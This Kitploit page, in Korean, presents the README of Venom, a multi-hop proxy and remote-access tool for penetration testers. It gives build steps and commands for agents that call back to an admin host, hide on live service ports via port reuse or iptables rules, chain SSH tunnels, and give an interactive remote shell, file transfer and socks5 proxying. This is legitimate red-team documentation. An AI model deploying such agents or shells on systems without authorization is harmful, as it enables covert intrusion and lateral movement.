Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Venom — Venom - 침투 테스터를 위한 멀티홉 프록시 | Kitploit
도구/GitHubGitHub/dliv3/venom
Encryption/Decryption ToolsNetwork MappingPenetration TestingCommand and ControlRed TeamingRemote Access Tool
GitHubdliv3/venom

Venom

Venom - 침투 테스터를 위한 멀티홉 프록시

저장소 보기
2.2k3586년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Venom - 침투 테스터를 위한 다중 홉 프록시

简体中文 | English

Venom은 침투 테스터를 위해 Go로 개발된 다중 레벨 프록시 도구입니다.

Venom은 여러 노드를 연결한 후 노드를 점프 호스트로 사용하여 다중 레벨 프록시를 구축할 수 있습니다.

침투 테스터는 Venom을 사용하여 네트워크 트래픽을 쉽게 다중 내부 네트워크로 프록시하고 프록시 노드를 쉽게 관리할 수 있습니다.

이 도구는 보안 연구 및 교육 목적으로만 사용되며, 사용자는 이 도구 사용으로 인한 모든 법적 및 관련 책임을 부담합니다! 저자는 어떠한 법적 책임도 지지 않습니다!

특징

  • 시각적 네트워크 토폴로지
  • 다중 레벨 socks5 프록시
  • 다중 레벨 포트 포워딩
  • 포트 재사용 (apache/mysql/...)
  • ssh 터널
  • 대화형 쉘
  • 파일 업로드 및 다운로드
  • 노드 간 통신 암호화
  • 여러 플랫폼(Linux/Windows/MacOS) 및 여러 아키텍처(x86/x64/arm/mips) 지원

IoT 장치(arm/mips/... 아키텍처)는 일반적으로 리소스가 제한적이므로, 바이너리 파일 크기를 줄이기 위해 이 프로젝트는 IoT 환경용으로 컴파일된 바이너리에서 포트 재사용 및 ssh 터널 기능을 지원하지 않으며, 메모리 사용량을 줄이기 위해 네트워크 동시성 수와 버퍼 크기를 제한합니다.

설치

release에서 미리 컴파일된 실행 파일을 직접 다운로드하여 사용할 수 있습니다.

소스 코드에서 프로젝트를 컴파일하려면 go >= 1.11을 설치한 후 다음 명령을 실행하세요.

root@kitploit:~
go get -u github.com/Dliv3/Venom/...

# $GOPATH는 Go 설치 시 구성된 환경 변수이며, go env 명령으로 확인할 수 있습니다.
cd $GOPATH/src/github.com/Dliv3/Venom

# 컴파일된 바이너리 파일은 현재 디렉터리의 release 폴더에 저장됩니다.
./build.sh

사용법

Youtube 데모 비디오: https://www.youtube.com/playlist?list=PLtZO9vwOND91vZ7yCmlAvISmEl2iQKjdI

1. admin/agent 명령줄 인자

  • admin 노드와 agent 노드는 모두 연결을 수신하거나 연결을 시작할 수 있습니다.

    admin이 포트를 수신하고 agent가 연결을 시작:

    root@kitploit:~
    ./admin_macos_x64 -lport 9999
    
    root@kitploit:~
    ./agent_linux_x64 -rhost 192.168.0.103 -rport 9999
    

    agent가 포트를 수신하고 admin이 연결을 시작:

    root@kitploit:~
    ./agent_linux_x64 -lport 8888
    
    root@kitploit:~
    ./admin_macos_x64 -rhost 192.168.204.139 -rport 8888
    
  • agent 노드는 포트 재사용을 지원합니다.

    agent는 두 가지 포트 재사용 방법을 제공합니다.

    1. SO_REUSEPORT 및 SO_REUSEADDR 옵션을 통한 포트 재사용
    2. iptables를 통한 포트 재사용 (Linux 플랫폼만 지원)

    venom이 제공하는 포트 재사용 기능을 사용하면 Windows에서 apache, mysql 등의 서비스 포트를 재사용할 수 있지만, RDP, IIS 등의 서비스 포트는 일시적으로 재사용할 수 없습니다. Linux에서는 대부분의 서비스 포트를 재사용할 수 있습니다. 재사용된 포트는 정상적으로 원래 서비스를 계속 제공할 수 있습니다.

    첫 번째 포트 재사용 방법

    root@kitploit:~
    # Windows에서 apache를 예로 들면
    # apache 80 포트를 재사용하며, apache의 정상적인 http 서비스에 영향을 주지 않습니다.
    # -lhost 값은 로컬 IP여야 하며, 0.0.0.0으로 설정하면 안 됩니다. 그렇지 않으면 포트 재사용이 불가능합니다.
    ./agent.exe -lhost 192.168.204.139 -reuse-port 80
    
    root@kitploit:~
    ./admin_macos_x64 -rhost 192.168.204.139 -rport 80
    

    두 번째 포트 재사용 방법

    root@kitploit:~
    # Linux에서 apache를 예로 들면
    # root 권한 필요
    sudo ./agent_linux_x64 -lport 8080 -reuse-port 80
    

    이 포트 재사용 방법은 로컬에 iptables 규칙을 설정하여 reuse-port의 트래픽을 로 전달하고, agent가 트래픽을 분배합니다.

2. admin 노드 내장 명령어

  • help 도움말 출력

    root@kitploit:~
    (admin node) >>> help
    
      help                                     도움말 정보.
      exit                                     종료.
      show                                     네트워크 토폴로지 표시.
      getdes                                   대상 노드의 설명 조회.
      setdes     [info]                        대상 노드에 설명 추가.
      goto       [id]                          id를 대상 노드로 선택.
      listen     [lport]                       대상 노드에서 포트 수신 대기.
      connect    [rhost] [rport]               대상 노드를 통해 새 노드에 연결.
      sshconnect [user@ip:port] [dport]        SSH 터널을 통해 새 노드에 연결.
      shell                                    대상 노드에서 대화형 쉘 시작.
      upload     [local_file]  [remote_file]   대상 노드에 파일 업로드.
      download   [remote_file]  [local_file]   대상 노드에서 파일 다운로드.
      socks      [lport]                       socks5 서버 시작.
      lforward   [lhost] [sport] [dport]       로컬 sport를 원격 dport로 포워딩.
      rforward   [rhost] [sport] [dport]       원격 sport를 로컬 dport로 포워딩.
      
    
  • show 네트워크 토폴로지 표시

    A는 admin 노드, 숫자는 agent 노드를 나타냅니다.

    아래 토폴로지 다이어그램은 admin 노드 아래에 1번 노드가 연결되어 있고, 1번 노드 아래에 2번과 4번 노드가 연결되어 있으며, 2번 노드 아래에 3번 노드가 연결되어 있음을 나타냅니다.

    root@kitploit:~
    (node 1) >>> show
    A
    + -- 1
         + -- 2
              + -- 3
         + -- 4
    

    새로 추가된 노드를 조작하려면 먼저 admin 노드에서 show 명령을 실행하여 네트워크 토폴로지와 노드 번호를 동기화해야 합니다.

  • goto 특정 노드 조작

    root@kitploit:~
    (admin node) >>> goto 1
    (node 1) >>> 
    

    goto로 특정 노드로 이동하면 아래에서 소개할 명령어를 사용할 수 있습니다.

3. 주의사항

  • 현재는 단일 admin 노드만 네트워크를 관리할 수 있습니다.
  • 새로 추가된 노드를 조작하려면 먼저 admin 노드에서 show 명령을 실행하여 네트워크 토폴로지와 노드 번호를 동기화해야 합니다.
  • 두 번째 포트 재사용 방법(iptables 기반)을 사용할 때는 script/port_reuse.py를 사용하여 agent가 대상 호스트에 설정한 포트 재사용 규칙을 활성화해야 합니다.

TODO

  • regeorg와 연동
  • 여러 admin 노드가 동시에 네트워크 관리
  • 노드 간 통신 트래픽 암호화
  • socks5의 UDP 지원
  • meterpreter와 연동 (미정)
  • RESTful API
  • 프록시 및 포트 포워딩 종료

감사의 말

  • rootkiter#Termite
  • ring04h#s5.go
  • n1nty#远程遥控 IPTables 进行端口复用
도구 다운로드
lport

한 가지 주의할 점은 sigterm, sigint 신호(kill 또는 ctrl-c)로 프로그램을 종료하면 프로그램이 자동으로 iptables 규칙을 정리할 수 있다는 것입니다. agent가 kill -9로 종료되면 자동으로 iptables 규칙을 정리할 수 없습니다. agent는 sigkill 신호를 처리할 수 없기 때문에 수동으로 정리해야 합니다.

iptables 규칙이 자동으로 정리되지 않아 침투 테스터가 80 포트 서비스에 접근하지 못하는 상황을 방지하기 위해, 두 번째 포트 재사용 방법은 iptables -m recent을 사용하여 특별한 TCP 패킷을 통해 iptables 전달 규칙의 활성화 여부를 제어합니다.

이 구현은 https://threathunter.org/topic/594545184ea5b2f5516e2033을 참고했습니다.

root@kitploit:~
# Linux 호스트에서 agent가 설정한 iptables 규칙을 활성화
# rhost가 내부 네트워크에 있는 경우, socks5 프록시 스크립트 트래픽을 사용할 수 있습니다. socks5 프록시 사용 방법은 아래 참조
python scripts/port_reuse.py --start --rhost 192.168.204.135 --rport 80

# agent 노드에 연결
./admin_macos_x64 -rhost 192.168.204.135 -rport 80

# 전달 규칙을 비활성화하려면
python scripts/port_reuse.py --stop --rhost 192.168.204.135 --rport 80
  • 노드 간 통신 암호화

    Venom은 노드 간 통신 암호화 기능을 제공합니다. 사용자는 -passwd 옵션으로 암호를 지정할 수 있으며, 이 암호는 AES 암호화에 필요한 키를 생성하는 데 사용됩니다.

    root@kitploit:~
    # -passwd로 암호를 dlive@dubhe로 지정
    ./admin_macos_x64 -lport 8889 -passwd dlive@dubhe
    
    # agent는 동일한 암호를 지정하여 admin 노드에 연결
    ./agent_macos_x64 -rhost 192.168.0.103 -rport 8889 -passwd dlive@dubhe
    
  • getdes/setdes 노드 정보 설명 가져오기/설정

    root@kitploit:~
    (node 1) >>> setdes linux x64 blahblahblah
    (node 1) >>> getdes
    linux x64 blahblahblah
    
  • connect/listen/sshconnect 노드 간 상호 연결

    node 1이 192.168.0.103의 9999 포트에 연결

    root@kitploit:~
    (node 1) >>> connect 192.168.0.103 9999
    connect to 192.168.0.103 9999
    successfully connect to the remote port!
    (node 1) >>> show
    A
    + -- 1
         + -- 2
    

    node1에서 9997 포트 수신 대기 후 다른 머신에서 ./agent_linux_x64 -rhost 192.168.204.139 -rport 9997 실행하여 node1에 연결

    root@kitploit:~
    (node 1) >>> listen 9997
    listen 9997
    the port 9997 is successfully listening on the remote node!
    (node 1) >>> show
    A
    + -- 1
         + -- 2
         + -- 3
    

    192.168.0.104에서 ./agent_linux_x64 -lport 9999 실행, node3이 sshconnect로 SSH 터널을 통해 192.168.0.104의 9999 포트에 연결합니다. 비밀번호 또는 SSH 개인 키를 사용하여 인증할 수 있습니다.

    root@kitploit:~
    (node 1) >>> goto 3
    (node 3) >>> sshconnect [email protected]:22 9999
    use password (1) / ssh key (2)? 2
    file path of ssh key: /Users/dlive/.ssh/id_rsa
    connect to target host's 9999 through ssh tunnel ([email protected]:22).
    ssh successfully connects to the remote node!
    (node 3) >>> show
    A
    + -- 1
         + -- 2
         + -- 3
              + -- 4
    
  • shell 노드의 대화형 쉘 획득

    root@kitploit:~
    (node 1) >>> shell
    You can execute commands in this shell :D, 'exit' to exit.
    bash: no job control in this shell
    bash-3.2$ whoami
    whoami
    dlive
    bash-3.2$ exit
    exit
    exit
    
  • upload/download 노드에 파일 업로드 / 노드에서 파일 다운로드

    로컬 /tmp/test.pdf를 node1의 /tmp/test2.pdf로 업로드

    root@kitploit:~
    (node 1) >>> upload /tmp/test.pdf /tmp/test2.pdf
    upload /tmp/test.pdf to node 1: /tmp/test2.pdf
    this file is too large(>100M), do you still want to upload it? (y/n)y
     154.23 MiB / 154.23 MiB [========================================] 100.00% 1s
    upload file successfully!
    

    node1의 파일 /tmp/test2.pdf를 로컬 /tmp/test3.pdf로 다운로드

    root@kitploit:~
    (node 1) >>> download /tmp/test2.pdf /tmp/test3.pdf
    download /tmp/test2.pdf from node 1: /tmp/test3.pdf
    this file is too large(>100M), do you still want to download it? (y/n)y
     154.23 MiB / 154.23 MiB [========================================] 100.00% 1s
    download file successfully!
    
  • socks 특정 노드로의 socks5 프록시 설정

    root@kitploit:~
    (node 1) >>> socks 7777
    a socks5 proxy of the target node has started up on local port 7777
    

    socks 명령을 성공적으로 실행하면 admin 노드 로컬에 포트가 열립니다 (예: 위의 7777). 7777을 사용하여 socks5 프록시를 수행할 수 있습니다.

  • lforward/rforward 로컬 포트를 원격으로 포워딩 / 원격 포트를 로컬로 포워딩

    lforward는 admin 노드 로컬의 8888 포트를 node1의 8888 포트로 포워딩합니다.

    root@kitploit:~
    (node 1) >>> lforward 127.0.0.1 8888 8888
    forward local network 127.0.0.1 port 8888 to remote port 8888
    

    rforward는 node1 네트워크 세그먼트의 192.168.204.103:8889 포트를 admin 노드 로컬의 8889 포트로 포워딩합니다.

    root@kitploit:~
    (node 1) >>> rforward 192.168.204.103 8889 8889
    forward remote network 192.168.204.103 port 8889 to local port 8889